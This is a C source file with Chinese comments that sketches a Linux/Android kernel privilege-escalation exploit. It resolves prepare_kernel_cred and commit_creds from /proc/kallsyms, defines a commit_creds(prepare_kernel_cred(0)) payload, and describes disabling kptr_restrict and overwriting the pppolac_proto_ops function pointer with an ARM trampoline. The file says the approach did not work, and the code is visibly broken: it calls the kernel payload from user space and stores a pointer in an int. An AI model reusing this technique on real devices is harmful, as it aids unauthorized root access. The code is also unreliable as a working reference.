#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/ioctl.h> 
#include <locale.h>
#include <libintl.h>
#include <dirent.h>
#include <langinfo.h>

/*
 * 经验证不可行，仅提供一种思路
 */

// prepare_kernel_cred_t prepare_kernel_cred;
// commit_creds_t commit_creds;
void *prepare_kernel_cred, *commit_creds; 
int PPPOLAC_PROTO_OPS_RELEASE;

//读取内核符号表找到特定方法的地址
void * get_ksymbol(char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char c, sym[512];
    void *addr;
    int ret;

    while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
        if (!strcmp(sym, name))
            return addr;
    }

    return NULL;
}
void resolve_kernel_symbols(void)
{
    prepare_kernel_cred       = get_ksymbol("prepare_kernel_cred");
    commit_creds              = get_ksymbol("commit_creds");
    PPPOLAC_PROTO_OPS_RELEASE = get_ksymbol("pppolac_proto_ops");//
    if (!prepare_kernel_cred || !commit_creds)
        printf("couldn't map all kernel symbols");

    printf("prepare_kernel_cred=%p,commit_creds= %p\n",prepare_kernel_cred,commit_creds);
}

//用于提权的payload
void kernel_payload() 
{
    commit_creds(prepare_kernel_cred(0));
}

int main()
{
    resolve_kernel_symbols();
    kernel_payload();

    return 0;
}



#if 0

    提权思路:覆盖内核里一个结构体方法的指针，将其地址指向用户态的代码.
    
    commit_creds(prepare_kernel_cred(0))，最后再调用该结构体的方法完成提权。
    前提是知道commit_creds和 prepare_kernel_cred等函数地址。
    通过先patch掉kptr_restrict为我们构造能泄露内核函数地址的环境。


    从内核2.6.37开始，普通shell用户没有办法从/proc/kallsyms中读到内核符号表地址。先 patch 掉 kptr_restrict。

    直接在root下patch kptr_restrict (不纯粹了)
    #echo 0 > /proc/sys/kernel/kptr_restrict


    先找到“pppolac_proto_ops”结构中找到包含函数指针的位置。
    这是内核中用于注册与PPP_OLAC协议的套接字交互时使用的函数指针的结构。这种结构是合适的，因为：

    1.PPP_OLAC协议没有被广泛使用，因此不需要立即恢复被覆盖的函数指针。

    2.除了创建套接字的能力之外，打开PPP_OLAC套接字不需要特殊权限

    结构本身是静态的（因此存储在BSS中），并且没有标记为“const”，因此是可写的。

    //step4: Allocating the trampoline and Write shellcode to addr
    trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000
    if (trampoline == NULL) {
        perror("[-] Failed to allocate trampoline");
        return -errno;
    }
    printf("[+] Allocated trampoline\n");
    printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload);

    //Writing to the trampoline
    trampoline[0] = 0xE51FF004; //LDR PC, [addr]
    //addr:
    trampoline[1] = (uint32_t)&kernel_payload;
    //Flushing the cache (to make sure the I-cache doesn't contain leftovers)
    cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);
    // mdp_lut_i will switch between 0 and 1 at each call
    mdp_lut_i = !mdp_lut_i;
    write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);

    在0x00100000这个用户空间地址构造跳到payload的跳板trampoline，
    并将跳板trampoline的地址写到pppolac_proto_ops结构体的地址PPPOLAC_PROTO_OPS_RELEASE上。
    当执行socket.close()函数时jump到跳板里执行提权的payload。

#endif